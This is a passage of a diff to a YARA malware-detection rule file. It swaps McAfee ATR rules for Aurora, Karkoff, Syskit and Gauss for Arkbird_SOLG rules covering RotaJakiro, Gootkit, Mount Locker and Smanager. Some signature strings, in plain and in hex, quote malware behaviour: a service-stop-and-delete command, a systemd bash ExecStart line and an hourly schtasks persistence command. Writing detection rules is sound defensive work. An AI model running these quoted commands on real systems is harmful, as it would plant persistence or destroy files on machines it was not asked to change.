+		logic_hash = "bde3d1a3d2d2e9efd4b7c68f69dce40d5e0f01d41885481730d8a7fa67cbab7e"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Aurora"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e"
+		hash2 = "e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$pdb = "\\AuroraVNC\\VedioDriver\\Release\\VedioDriver.pdb"
-		$pdb1 = "\\Aurora_Src\\AuroraVNC\\Avc\\Release\\AVC.pdb"
+		$s1 = { 00 ?? 19 00 00 00 48 85 c0 [2-6] bf 0a 00 00 00 e8 [2] 01 00 ?? 24 00 00 00 48 85 c0 [2-6] c6 00 48 c6 40 05 49 c6 40 01 49 c6 40 06 4c c6 40 02 53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 [2] 00 00 48 8d 54 24 0c }
+		$s2 = "GETCONF_DIR" ascii
+		$s3 = "/var/run/nscd/so/dev/ptmx" ascii
+		$s4 = { 45 78 65 63 53 74 61 72 74 3d 2f 62 69 6e 2f 62 61 73 68 20 2d 63 20 2f 75 73 72 2f 62 69 6e 2f 62 69 6f 73 65 74 64 }
+		$s5 = { 48 89 df e8 [3] ff 31 f6 48 89 df e8 [3] ff 48 8d 58 01 48 }
+		$s6 = { 2f 76 61 72 2f 74 6d 70 00 2f 76 61 72 2f 70 72 6f 66 69 6c 65 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and any of them
+		uint32(0)==0x464C457F and filesize >100KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Karkoff_Dnspionaje : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_ELF_Rotajakiro_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Karkoff malware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "a5cdc65f-3a4c-5d97-9d88-8d60b14dfb9a"
-		date = "2019-04-23"
-		modified = "2020-08-14"
-		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_karkoff_dnspionaje.yar#L1-L30"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c"
-		logic_hash = "79dd0087f1197cb1b2cd98416302363951479ba5ebf82289768585b56ed21c3a"
+		description = "Detect the ELF version of RotaJakiro"
+		author = "Arkbird_SOLG"
+		id = "a67f9b64-8778-542f-8481-566a4ffaf5e8"
+		date = "2020-05-07"
+		modified = "2021-05-08"
+		reference = "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-08/RotaJakiro/MAL_ELF_RotaJakiro_May_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "8e4b9ef8a908a13e738da31b28c879228c3bdc1d8461417b1c1bf31026c98abf"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Karkoff"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0958e1f4c3d14e4de380bda4c5648ab4fa4459ef8f5daaf32bb5f3420217af32"
+		hash2 = "5d753e72ef89f1cef3b7007df812c7a504727816a7b91ecd75cc9acdfb7e9c2e"
+		hash3 = "a18bec90b2b6185362eeb67c516c82dd34cd8f6a7423875921572e97ae1668b0"
+		hash4 = "af2a2be20d7bbec0a9bb4a4dfa898aa18ef4994a9791d7cf37b7b62b379992ac"
+		hash5 = "d38e8f113c36cfa9e05c4d0d6b526d81b69039430c3b1fc64a08a3445b5a5abe"
+		tlp = "White"
+		adversary = "Oceanlotus"
 
 	strings:
-		$s1 = "DropperBackdoor.Newtonsoft.Json.dll" fullword wide
-		$s2 = "C:\\Windows\\Temp\\MSEx_log.txt" fullword wide
-		$s3 = "DropperBackdoor.exe" fullword wide
-		$s4 = "get_ProcessExtensionDataNames" fullword ascii
-		$s5 = "get_ProcessDictionaryKeys" fullword ascii
-		$s6 = "https://www.newtonsoft.com/json 0" fullword ascii
+		$seq1 = { 41 57 41 56 41 55 41 54 41 89 f5 55 53 49 89 fc 48 83 ec 58 64 48 8b 04 25 28 00 00 00 48 89 44 24 48 31 c0 e8 77 60 ff ff 89 c7 e8 20 60 ff ff 48 8b 58 20 c6 44 24 10 85 48 8d 7c 24 10 c6 44 24 11 2d c6 44 24 12 c5 ba 22 00 00 00 c6 44 24 13 7a c6 44 24 14 02 be 30 00 00 00 c6 44 24 15 58 c6 44 24 16 30 c6 44 24 17 e4 c6 44 24 18 8a c6 44 24 19 37 c6 44 24 1a bd c6 44 24 1b 68 c6 44 24 1c f6 c6 44 24 1d f8 c6 44 24 1e 6c c6 44 24 1f 8c c6 44 24 20 97 c6 44 24 21 cb c6 44 24 22 73 c6 44 24 23 bd c6 44 24 24 7b c6 44 24 25 19 c6 44 24 26 93 c6 44 24 27 a0 c6 44 24 28 26 c6 44 24 29 26 c6 44 24 2a ae c6 44 24 2b 1c c6 44 24 2c 96 c6 44 24 2d 1d c6 44 24 2e 0f c6 44 24 2f be 44 8b 05 b6 7c 21 00 48 8b 0d b7 7c 21 00 c6 44 24 30 b2 c6 44 24 31 7d c6 44 24 32 48 c6 44 24 33 b9 c6 44 24 34 b6 c6 44 24 35 a4 c6 44 24 36 30 c6 44 24 37 43 c6 44 24 38 06 c6 44 24 39 e3 c6 44 24 3a 4f c6 44 24 3b 06 c6 44 24 3c f5 c6 44 24 3d 87 c6 44 24 3e d5 c6 44 24 3f 6a e8 3a 71 ff ff 48 89 df 48 89 c6 48 89 c5 e8 bc 6c ff ff 45 85 ed 48 89 c3 0f 85 a0 00 00 00 48 89 df e8 58 6e ff ff 85 c0 0f 84 30 01 00 00 8b 05 2a 7c 21 00 48 c7 44 24 08 00 00 00 00 48 83 ec 08 c7 44 24 0c 00 00 00 00 4c 8b 0d 16 7c 21 00 ba 2a 00 00 00 4c 89 e6 bf 01 00 00 00 50 4c 8d 44 24 14 48 8d 4c 24 18 e8 b1 71 ff ff 85 c0 5a }
+		$seq2 = { 41 54 41 b8 08 00 00 00 55 53 b9 00 f3 61 00 ba 42 00 00 00 49 89 fd 49 89 f4 48 83 ec 68 be 50 00 00 00 48 89 e7 c6 04 24 bf c6 44 24 01 cf 64 48 8b 04 25 28 00 00 00 48 89 44 24 58 31 c0 c6 44 24 02 c6 c6 44 24 03 a1 c6 44 24 04 20 c6 44 24 05 76 c6 44 24 06 5d c6 44 24 07 e5 c6 44 24 08 ec c6 44 24 09 87 c6 44 24 0a 45 c6 44 24 0b 26 c6 44 24 0c e1 c6 44 24 0d c8 c6 44 24 0e 8e c6 44 24 0f c0 c6 44 24 10 89 c6 44 24 11 d2 c6 44 24 12 ac c6 44 24 13 c1 c6 44 24 14 01 c6 44 24 15 08 c6 44 24 16 ac c6 44 24 17 8e c6 44 24 18 52 c6 44 24 19 65 c6 44 24 1a c9 c6 44 24 1b 06 c6 44 24 1c be c6 44 24 1d 82 c6 44 24 1e ef c6 44 24 1f 85 c6 44 24 20 9f c6 44 24 21 96 c6 44 24 22 fa c6 44 24 23 65 c6 44 24 24 50 c6 44 24 25 dd c6 44 24 26 0e c6 44 24 27 e0 c6 44 24 28 87 c6 44 24 29 ba c6 44 24 2a 27 c6 44 24 2b f8 c6 44 24 2c ef c6 44 24 2d 5c c6 44 24 2e 60 c6 44 24 2f 07 c6 44 24 30 b1 c6 44 24 31 c5 c6 44 24 32 3d c6 44 24 33 81 c6 44 24 34 df c6 44 24 35 87 c6 44 24 36 64 c6 44 24 37 01 c6 44 24 38 04 c6 44 24 39 9b c6 44 24 3a f9 c6 44 24 3b da c6 44 24 3c 28 c6 44 24 3d f1 c6 44 24 3e 30 c6 44 24 3f cb c6 44 24 40 c8 c6 44 24 41 48 c6 44 24 42 43 c6 44 24 43 e6 c6 44 24 44 e5 c6 44 24 45 f3 c6 44 24 46 c9 c6 44 24 47 8b c6 44 24 48 3c c6 44 24 49 a7 c6 44 24 4a 8b c6 44 24 4b 48 c6 44 24 4c 54 c6 44 24 4d 13 c6 44 24 4e 2b c6 44 24 4f bb e8 a4 aa ff ff bf 00 04 00 00 48 89 c5 e8 77 9a ff ff be 00 04 00 00 48 89 c3 48 89 c7 e8 37 9b ff ff 4c 89 ea 48 }
+		$seq3 = { 48 8d 7c 24 10 c6 44 24 10 fb c6 44 24 11 d0 64 48 8b 04 25 28 00 00 00 48 89 84 24 08 01 00 00 31 c0 c6 44 24 12 8d c6 44 24 13 ac c6 44 24 14 db c6 44 24 15 79 c6 44 24 16 84 c6 44 24 17 52 c6 44 24 18 44 c6 44 24 19 46 c6 44 24 1a 6c c6 44 24 1b d1 c6 44 24 1c ac c6 44 24 1d 31 c6 44 24 1e ca c6 44 24 1f 18 c6 44 24 20 18 c6 44 24 21 90 c6 44 24 22 ec c6 44 24 23 8f c6 44 24 24 a1 c6 44 24 25 74 c6 44 24 26 a8 c6 44 24 27 9a c6 44 24 28 53 c6 44 24 29 d4 c6 44 24 2a a4 c6 44 24 2b 5b c6 44 24 2c 68 c6 44 24 2d c8 c6 44 24 2e dd c6 44 24 2f a5 e8 18 a9 ff ff 48 89 c7 49 89 c5 e8 4d a6 ff ff 83 f8 01 74 40 31 db 4d 85 ed 74 08 4c 89 ef e8 b9 95 ff ff 48 8b 8c 24 08 01 00 00 64 48 33 }
+		$seq4 = { ba 15 00 00 00 be 20 00 00 00 c6 44 24 30 b1 c6 44 24 31 be c6 44 24 32 54 c6 44 24 33 93 c6 44 24 34 29 c6 44 24 35 67 c6 44 24 36 1f c6 44 24 37 b5 c6 44 24 38 a5 c6 44 24 39 ec c6 44 24 3a 18 c6 44 24 3b 53 c6 44 24 3c f0 c6 44 24 3d f1 c6 44 24 3e fe c6 44 24 3f 9f c6 44 24 40 27 c6 44 24 41 8f c6 44 24 42 8d c6 44 24 43 77 c6 44 24 44 1e c6 44 24 45 e1 c6 44 24 46 e1 c6 44 24 47 f0 c6 44 24 48 9e c6 44 24 49 e2 c6 44 24 4a 0d c6 44 24 4b 96 c6 44 24 4c ff c6 44 24 4d 6c c6 44 24 4e b4 c6 44 24 4f 16 e8 09 a8 ff ff 4c 89 ef 48 89 c6 49 89 c4 e8 8b a3 ff ff 48 8d bc 24 90 00 00 00 41 b8 08 00 00 00 b9 00 f3 61 00 ba 69 00 00 00 be 70 00 00 00 48 89 04 24 c6 84 24 90 00 00 00 b3 c6 84 24 91 00 00 00 0b c6 84 24 92 00 00 00 18 c6 84 24 93 00 00 00 fd c6 84 24 94 00 00 00 71 c6 84 24 95 00 00 00 3b c6 84 24 96 00 00 00 b7 c6 84 24 97 00 00 00 fc c6 84 24 98 00 00 00 70 c6 84 24 99 00 00 00 18 c6 84 24 9a 00 00 00 f7 c6 84 24 9b 00 00 00 22 c6 84 24 9c 00 00 00 2d c6 84 24 9d 00 00 00 75 c6 84 24 9e 00 00 00 5d c6 84 24 9f 00 00 00 8f c6 84 24 a0 00 00 00 75 c6 84 24 a1 00 00 00 60 c6 84 24 a2 00 00 00 91 c6 84 24 a3 00 00 00 b3 c6 84 24 a4 00 00 00 1a c6 84 24 a5 00 00 00 0b c6 84 24 a6 00 00 00 00 c6 84 24 a7 00 00 00 5c c6 84 24 a8 00 00 00 6b c6 84 24 a9 00 00 00 8d c6 84 24 aa 00 00 00 ee c6 84 24 ab 00 00 00 3b c6 84 24 ac 00 00 00 7e c6 84 24 ad 00 00 00 67 c6 84 24 ae 00 00 00 72 c6 84 24 af 00 00 00 43 c6 84 24 b0 00 00 00 f6 c6 84 24 b1 00 00 00 14 c6 84 24 b2 00 00 00 32 c6 84 24 b3 00 00 00 c1 c6 84 24 b4 00 00 00 79 c6 84 24 b5 00 00 00 0d c6 84 24 b6 00 00 00 0d c6 84 24 b7 00 00 00 22 c6 84 24 b8 00 00 00 e1 c6 84 24 b9 00 00 00 bd c6 84 24 ba 00 00 00 3f c6 84 24 bb 00 00 00 82 c6 84 24 bc 00 00 00 dd c6 84 24 bd 00 00 00 23 c6 84 24 be 00 00 00 7d c6 84 24 bf 00 00 00 87 c6 84 24 c0 00 00 00 34 c6 84 24 c1 00 00 00 9d c6 84 24 c2 00 00 00 43 c6 84 24 c3 00 00 00 98 c6 84 24 c4 00 00 00 da c6 84 24 c5 00 00 00 e0 c6 84 24 c6 00 00 00 3d c6 84 24 c7 00 00 00 64 c6 84 24 c8 00 00 00 1a c6 84 24 c9 00 00 00 d7 c6 84 24 ca 00 00 00 f5 c6 84 24 cb 00 00 00 5a c6 84 24 cc 00 00 00 c3 c6 84 24 cd 00 00 00 9c c6 84 24 ce 00 00 00 97 c6 84 24 cf 00 00 00 c7 c6 84 24 d0 00 00 00 65 c6 84 24 d1 00 00 00 8f c6 84 24 d2 00 00 00 99 c6 84 24 d3 00 00 00 eb c6 84 24 d4 00 00 00 2f c6 84 24 d5 00 00 00 2b c6 84 24 d6 00 00 00 d0 c6 84 24 d7 00 00 00 d9 c6 84 24 d8 00 00 00 4e c6 84 24 d9 00 00 00 8f c6 84 24 da 00 00 00 7b c6 84 24 db 00 00 00 97 c6 84 24 dc 00 00 00 3b c6 84 24 dd 00 00 00 14 c6 84 24 de 00 00 00 e9 c6 84 24 df 00 00 00 e9 c6 84 24 e0 00 00 00 82 c6 84 24 e1 00 00 00 48 c6 84 24 e2 00 00 00 dc c6 84 24 e3 00 00 00 a3 c6 84 24 e4 00 00 00 75 c6 84 24 e5 00 00 00 ca c6 84 24 e6 00 00 00 e6 c6 84 24 e7 00 00 00 40 c6 84 24 e8 00 00 00 6b c6 84 24 e9 00 00 00 b1 c6 84 24 ea 00 00 00 68 c6 84 24 eb 00 00 00 42 c6 84 24 ec 00 00 00 56 c6 84 24 ed 00 00 00 b4 c6 84 24 ee 00 00 00 ac c6 84 24 ef 00 00 00 2a c6 84 24 f0 00 00 00 fc c6 84 24 f1 00 00 00 34 c6 84 24 f2 00 00 00 fa c6 84 24 f3 00 00 00 1d c6 84 24 f4 00 00 00 1b c6 84 24 f5 00 00 00 9a c6 84 24 f6 00 00 00 62 c6 84 24 f7 00 00 00 b3 c6 84 24 f8 00 00 00 39 c6 84 24 f9 00 00 00 6a c6 84 24 fa 00 00 00 19 c6 84 24 fb 00 00 00 1b c6 84 24 fc 00 00 00 f3 c6 84 24 fd 00 00 00 c5 c6 84 24 fe 00 00 00 d2 c6 84 24 ff 00 00 00 6a e8 55 a4 ff ff 48 89 c7 48 89 c5 e8 4a 92 ff ff 44 8d 7c 03 0a 4d 63 ff 4c 89 ff e8 1a 94 ff ff 4c 89 fe 48 89 c3 48 89 c7 e8 dc 94 ff ff 4c 89 f2 48 89 ee 48 89 df 31 c0 e8 2c 95 ff ff 48 89 da 8b 0a 48 83 c2 04 8d 81 ff fe fe fe f7 d1 21 c8 25 80 80 80 80 74 e9 89 c1 4c 8b 3c 24 48 89 de c1 e9 10 a9 80 80 00 00 0f 44 c1 48 8d 4a 02 4c 89 ff 48 0f 44 d1 89 c1 00 c1 48 83 da 03 48 29 da e8 93 a8 ff ff 4c 89 ff be ed 01 00 00 4c 89 3c 24 e8 d2 aa ff ff 48 8d 44 24 50 41 b8 08 00 00 00 b9 00 f3 61 00 ba 34 00 00 00 be 40 00 00 00 c6 44 24 50 c6 48 89 c7 c6 44 24 51 3b c6 44 24 52 16 c6 44 24 53 01 c6 44 24 54 92 c6 44 24 55 36 c6 44 24 56 81 c6 44 24 57 c8 c6 44 24 58 f3 c6 44 24 59 49 c6 44 24 5a a8 c6 44 24 5b 02 c6 44 24 5c 6f c6 44 24 5d 9d c6 44 24 5e db c6 44 24 5f 61 c6 44 24 60 8a c6 44 24 61 e3 c6 44 24 62 f4 c6 44 24 63 1b c6 44 24 64 33 c6 44 24 65 4d c6 44 24 66 b4 c6 44 24 67 00 c6 44 24 68 f4 c6 44 24 69 76 c6 44 24 6a 70 c6 44 24 6b 56 c6 44 24 6c e2 c6 44 24 6d f3 c6 44 24 6e 5c c6 44 24 6f 73 c6 44 24 70 06 c6 44 24 71 de c6 44 24 72 c5 c6 44 24 73 fa c6 44 24 74 4c c6 44 24 75 7b c6 44 24 76 34 c6 44 24 77 b9 c6 44 24 78 d3 c6 44 24 79 a6 c6 44 24 7a 9b c6 44 24 7b 03 c6 44 24 7c f7 c6 44 24 7d 8e c6 44 24 7e 37 c6 44 24 7f 6a c6 84 24 80 00 00 00 3a c6 84 24 81 00 00 00 97 c6 84 24 82 00 00 00 57 c6 84 24 83 00 00 00 25 c6 84 24 84 00 00 00 2c c6 84 24 85 00 00 00 ac c6 84 24 86 00 00 00 a6 c6 84 24 87 00 00 00 de c6 84 24 88 00 00 00 29 c6 84 24 89 00 00 00 ca c6 84 24 8a 00 00 00 c0 c6 84 24 8b 00 00 00 93 c6 84 24 8c 00 00 00 67 c6 84 24 8d 00 00 00 47 c6 84 24 8e 00 00 00 8d c6 84 24 8f 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint32(0)==0x464c457f and filesize >10KB and 3 of ($seq*)
 }
-import "pe"
+rule ARKBIRD_SOLG_Loa_JS_Gootkit_Nov_2020_1 : FILE
+{
+	meta:
+		description = "Detect JS loader used on the Gootkit killchain (November 2020)"
+		author = "Arkbird_SOLG"
+		id = "649133bd-a44c-5d99-befa-0508fed27ed8"
+		date = "2020-11-21"
+		modified = "2020-11-21"
+		reference = "https://twitter.com/ffforward/status/1330214661577437187"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Gootkit/Loa_JS_Gootkit_Nov_2020_1.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "f24d31e7107b8c59b969481596a5e1369933bf2b0fa5117cd1aa5f7ea116d8d5"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "7aec3ed791529182c0f64ce34415c3c705a79f3d628cbcff70c34a9f73d8ff42"
 
-rule TRELLIX_ARC_Syskit : FILE
+	strings:
+		$s1 = { 7b [4-6] 5b [4-6] 5d 28 [4-6] 5b [4-6] 5d 29 28 [4-6] 5b [4-6] 5d 29 3b 7d }
+		$s2 = { 7b 72 65 74 75 72 6e 20 [4-6] 20 25 20 28 [4-6] 2b [4-6] 29 3b 7d }
+		$s3 = { 7b [4-6] 20 3d 20 [4-6] 28 [4-6] 29 2e 73 70 6c 69 74 28 [4-6] 29 3b 7d }
+		$s4 = { 7b 72 65 74 75 72 6e 20 [4-6] 2e 63 68 61 72 41 74 28 [4-6] 29 3b 7d}
+		$s5 = { 7b [4-6] 5b [4-6] 5d 20 3d 20 [4-6] 5b [4-6] 5b [4-6] 5d 5d 3b 7d }
+
+	condition:
+		filesize >1KB and 2 of them
+}
+rule ARKBIRD_SOLG_Ran_Mount_Locker_Nov_2020_1 : FILE
 {
 	meta:
-		description = "SYSkit backdoor"
-		author = "Christiaan @ McAfee ATR"
-		id = "f06db38f-52d5-51b5-a17f-63e285dd5f80"
-		date = "2019-09-17"
-		modified = "2020-04-02"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Tortoiseshell_Syskit.yar#L3-L40"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "5b489d47d56de5c770b6ff6d6d56bf0fb87174f4a8428052b28fb392d9ac3f87"
+		description = "Detect Mount Locker ransomware (November 2020 variant)"
+		author = "Arkbird_SOLG"
+		id = "20fde6f4-ef7d-57c4-8cc2-a6ea810c2b0c"
+		date = "2020-11-20"
+		modified = "2020-11-22"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Mount Locker/Ran_Mount_Locker_Nov_2020_1.yar#L1-L26"
+		license_url = "N/A"
+		logic_hash = "028e89e9c0c46ac5c36fee5cbfba068b4c6c1f53aa224e454ebd358f2c6ae9a9"
 		score = 75
-		quality = 68
+		quality = 75
 		tags = "FILE"
-		hash1 = "07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4"
-		hash2 = "f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193"
-		hash3 = "02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2"
+		hash1 = "e7c277aae66085f1e0c4789fe51cac50e3ea86d79c8a242ffc066ed0b0548037"
+		hash2 = "226a723ffb4a91d9950a8b266167c5b354ab0db1dc225578494917fe53867ef2"
 
 	strings:
-		$x1 = "timeout /t 10 & sc stop dllhost & timeout /t 10 & del C:\\Windows\\Temp\\BAK.exe" fullword wide
-		$s2 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii
-		$s3 = "C:\\Windows\\Temp\\rconfig.xml" fullword wide
-		$s4 = "Add-Type -AssemblyName System.IO.Compression.FileSystem" fullword wide
-		$s5 = "serviceProcessInstaller1" fullword ascii
-		$s6 = "    [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath)" fullword wide
-		$s7 = "exec_cmd2" fullword ascii
-		$s8 = "exec_cmd" fullword ascii
-		$s9 = "send_command_result" fullword ascii
-		$s10 = "mycontent" fullword ascii
-		$s11 = "Diagnostic Server Host" fullword wide
-		$s12 = "bytesToBeEncrypted" fullword ascii
-		$s13 = "createPostRequest" fullword ascii
-		$s14 = "myhash" fullword ascii
-		$s15 = "DD5783BCF1E9002BC00AD5B83A95ED6E4EBB4AD5" ascii
-		$s16 = "circle_time" fullword ascii
-		$s17 = "ServiceStart_AfterInstall" fullword ascii
-		$s18 = "serviceInstaller1" fullword ascii
-		$s19 = "BAK.ProjectInstaller.resources" fullword ascii
-		$s20 = "Dll host" fullword wide
-		$op0 = { 96 00 f1 0a 57 02 05 00 34 25 }
-		$op1 = { 96 00 83 05 5a 01 0e 00 38 28 }
-		$op2 = { 06 00 00 11 28 4d 00 00 0a 02 6f 4e 00 00 0a 28 }
+		$s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword wide
+		$s2 = "VBA6.DLL" fullword ascii
+		$s3 = "MSComDlg.CommonDialog" fullword ascii
+		$s4 = "DllFunctionCall" fullword ascii
+		$s5 = { 00 2a 00 5c 00 41 00 43 00 3a 00 5c [35-160] 00 2e 00 76 00 62 00 70 }
+		$s6 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\COMCTL32.oca" fullword wide
+		$s7 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\MSFLXGRD.oca" fullword ascii
+		$s8 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
+		$s9 = "SFLXGRD.OCX" fullword ascii
+		$s10 = "COMDLG32.OCX" fullword ascii
+		$s11 = "COMCTL32.OCX" fullword ascii
+		$seq1 = { 42 00 24 00 40 00 43 00 67 00 2f 00 44 00 08 00 4a 00 51 00 77 00 54 00 76 00 25 00 55 00 48 00 00 00 00 00 5d 00 4c 00 09 00 53 00 3e 00 73 00 62 00 52 00 50 00 0b 00 61 00 01 00 61 01 3a 00 03 00 57 00 4f 00 75 00 54 00 71 00 22 00 53 00 37 00 00 00 30 00 1d 00 46 00 5a 00 5c 00 48 00 78 00 63 00 02 00 1d 00 23 00 3b 00 28 00 55 00 73 00 28 00 61 00 3b 00 00 00 00 00 44 00 4e 00 4a 00 4d 00 61 00 40 00 59 00 2b 00 38 00 02 01 04 01 54 00 08 00 52 00 56 00 1d 00 42 00 3e 00 00 00 00 00 35 00 70 00 3b 00 37 00 6f 00 26 00 26 00 40 00 64 00 02 00 51 00 3c 00 41 00 16 00 3e 00 00 00 47 00 58 00 33 00 89 00 54 00 2d 00 29 00 50 00 04 00 59 00 5d 00 4f 00 1b 00 36 00 30 00 83 00 41 00 00 00 2a 00 54 00 47 00 86 00 56 00 19 00 24 00 4e 00 3a 00 45 00 51 00 4d 00 1e 00 3b 00 2b 00 81 00 35 00 00 00 3a 00 65 00 57 00 03 00 2d 00 62 00 53 }
+		$seq2 = { 5a 00 3d 00 14 00 51 00 1f 00 67 00 1c 00 24 00 00 00 00 00 00 00 6f 00 27 00 62 00 5d 00 6d 00 30 00 01 00 27 01 25 00 62 00 7b 00 05 00 56 00 24 00 3c 00 3d 00 5d 00 2e 00 62 00 03 00 0a 00 57 00 6a 00 02 00 5d 00 02 01 23 01 67 00 20 00 54 00 01 00 6c 01 17 00 0b 00 44 00 21 00 1e 00 01 00 52 01 60 00 3b 00 11 00 45 00 2a 00 59 00 2c 00 19 00 00 00 5a 00 1e 00 61 00 5c 00 6b 00 31 00 01 00 1a 01 2d 00 4a 00 6f 00 11 00 57 00 2c 00 3a 00 3a 00 50 00 2a 00 61 00 02 00 07 00 53 00 7b 00 01 01 5b 00 02 01 6a 01 0b 00 03 00 6d 00 43 00 0c 00 64 00 4d 00 44 00 5f 00 08 00 5a 00 68 00 2b 00 32 00 68 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and pe.imphash()=="f34d5f2d4577ed6d9ceec516c1f5a744" and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize >100KB and 6 of ($s*) and 1 of ($seq*)
 }
-rule TRELLIX_ARC_Apt_Gauss_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_Mal_Smanager_Installer_Module_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Gauss based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "209223cc-16e5-5596-8744-21ad71b5ec2a"
-		date = "2012-08-14"
-		modified = "2020-08-14"
-		reference = "https://securelist.com/the-mystery-of-the-encrypted-gauss-payload-5/33561/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/gauss_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "7b0d0612b4ecc889a901115c2e77776ef0ea65c056b283d12e80f863062cea28"
-		logic_hash = "cb20c87ea976f395e000f2c631ffd52b09dca2af37adceafe5be72b37f75a997"
+		description = "Detect installer module of Smanager (November 2020)"
+		author = "Arkbird_SOLG"
+		id = "364285bc-2173-5ff0-85d2-af06051a3b70"
+		date = "2020-12-19"
+		modified = "2020-12-19"
+		reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_Smanager_Installer_Module_Nov_2020_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "380d28f6cdea24f807f3c29207eb0b8888ebdfea215c53df164fe080c3917438"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Gauss"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 61
+		tags = "FILE"
+		hash1 = "97a5fe1d2174e9d34cee8c1d6751bf01f99d8f40b1ae0bce205b8f2f0483225c"
 
 	strings:
-		$pdb = "\\projects\\gauss\\bin\\release\\winshell.pdb"
+		$s1 = { 63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 46 20 2f 63 72 65 61 74 65 20 2f 74 6e 3a 57 69 6e 64 6f 77 73 5c 55 70 64 61 74 65 20 2f 74 72 20 22 25 73 22 20 20 20 2f 73 63 20 48 4f 55 52 4c 59 }
+		$s2 = { 25 73 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 25 73 }
+		$s3 = { 25 73 79 73 74 65 6d 72 6f 6f 74 25 }
+		$s4 = { 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c [1-8] 5c [1-8] 2e 63 61 62 }
+		$s5 = { 53 6d 61 6e 61 67 65 72 5f 73 73 6c 2e 64 6c 6c }
+		$s6 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 53 76 63 68 6f 73 74 }
+		$s7 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c }
+		$s8 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 61 70 70 70 61 74 63 68 5c }
+		$s9 = "TmV0QmlvcyBNZXNzYWdlciBSZWdpc3Rlcg==" fullword ascii
